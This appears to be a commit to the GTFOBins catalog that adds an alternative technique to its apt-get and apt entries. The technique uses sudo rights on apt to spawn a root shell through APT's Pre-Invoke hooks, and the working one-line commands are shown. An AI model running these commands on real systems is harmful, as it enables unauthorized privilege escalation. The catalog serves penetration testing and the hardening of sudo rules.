Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.

_gtfobins/apt-get.md

@@ -15,4 +15,6 @@ functions:
         TF=$(mktemp)
         echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
         sudo apt-get install -c $TF sl
+    - description: When the shell exits the `update` command is actually executed.
+      code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
 ---

_gtfobins/apt.md

@@ -15,4 +15,6 @@ functions:
         TF=$(mktemp)
         echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
         sudo apt install -c $TF sl
+    - description: When the shell exits the `update` command is actually executed.
+      code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
 ---